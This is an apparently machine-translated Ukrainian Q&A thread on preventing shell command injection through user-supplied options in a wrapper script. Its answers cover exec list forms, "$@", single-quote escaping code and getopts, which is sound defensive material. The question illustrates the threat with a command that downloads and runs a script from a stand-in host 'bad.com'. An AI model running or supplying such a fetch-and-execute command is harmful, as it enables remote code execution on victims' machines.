Як запобігти введенню команд через параметри команд?


13

У мене є програма для обгортки, де мені потрібно дозволити користувачеві вказати спеціальні параметри для переходу на тренажер. Однак я хочу переконатися, що користувач не вводить інші команди через користувацькі параметри. Який найкращий спосіб досягти цього?

Наприклад.

  • Користувач надає: -a -b
  • Виконання програми: mysim --preset_opt -a -b

Однак я не хочу, щоб це сталося:

  • Користувач надає: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • Виконання програми: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

В даний час я думаю, що я міг би просто оточити кожен наданий користувачем параметр одиничними цитатами 'і викреслити будь-які передбачені користувачем єдині лапки, щоб команда в останньому прикладі виявилася нешкідливою:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Примітка: mysimКоманда виконується як частина сценарію оболонки в контейнері docker / lxc. Я запускаю Ubuntu.


Ви використовуєте evalдля запуску програми? Якщо ні, то ін’єкція не повинна статися:x="&& echo Doomed" ; echo $x
choroba

1
Ні, я не використовую eval. Я викликаю виконуваний файл mysimвсередині скрипту оболонки. Я бачу, як ін'єкція трапиться, якщо я просто скопіювати рядок параметрів, які надає користувач, і вставити її в кінці mysimкоманди.
Віктор Любославський

Чи копіює програму для обгортки та вставляє рядок параметрів?
choroba

Так, користувацькі параметри надходять у вигляді єдиного рядка, як -a -b. Тому я хочу переконатися, що додаткові команди не будуть введені в цей рядок.
Віктор Любославський

1
ви можете дозволити? тільки дозволити символам [a-zA-Z0-9 _-]виглядає як досить захисний вибір.
Ульріх Шварц

Відповіді:


6

Якщо у вас є контроль над програмою обгортки, то переконайтеся, що вона не викликає передплату. Заглиблення вказівка ​​для виконання програми складається з повного шляху (абсолютного або відносного до поточного каталогу) до виконуваного файлу та списку рядків, що передаються як аргументи. Пошук PATH, оператори, що розділяють аргументи пробілу, оператори цитування та управління, забезпечуються оболонкою. Ні оболонки, ні болю.

Наприклад, за допомогою обгортки Perl використовуйте форму списку execабо system. У багатьох мовах, називають одним з execабо execXXXфункції (або , unix.execабо як там це називається) , а не system, або os.spawnз shell=False, або все , що потрібно.

Якщо обгортка - це сценарій оболонки, використовуйте "$@"для передачі аргументів, наприклад

#!/bin/sh
mysim -preset-opt "$@"

Якщо у вас немає вибору, і програма обгортки викликає оболонку, вам потрібно буде цитувати аргументи, перш ніж передавати їх оболонці. Простий спосіб навести аргументи - це зробити наступне:

  1. У кожному аргументі замініть кожне виникнення '(однієї лапки) рядком на чотири символи '\''. (наприклад, don'tстає don'\''t)
  2. Додайте 'на початку кожного аргументу, а також в кінці кожного аргументу. (наприклад, з don't, don'\''tстає 'don'\''t')
  3. Об’єднайте результати з пробілом між ними.

Якщо вам потрібно зробити це в обгортці оболонки, ось спосіб.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(На жаль, ${VAR//PATTERN/REPLACEMENT}конструкція bash , яка тут стане в нагоді, вимагає химерного цитування, і я не думаю, що ви можете її отримати '\''як текст заміни.)


1

Ви можете використовувати Bash - ${VAR//PATTERN/REPLACEMENT}ідіоми , щоб перетворити апостроф 'в '\''спочатку покласти '\''в змінну (як проміжний етап) , а потім розширює цю змінну в якості REPLACEMENTелемента в згаданому Баш ідіоми.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}

0

Ви можете використовувати, getoptsв bashякому можна розбирати аргументи для вас, наприклад:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.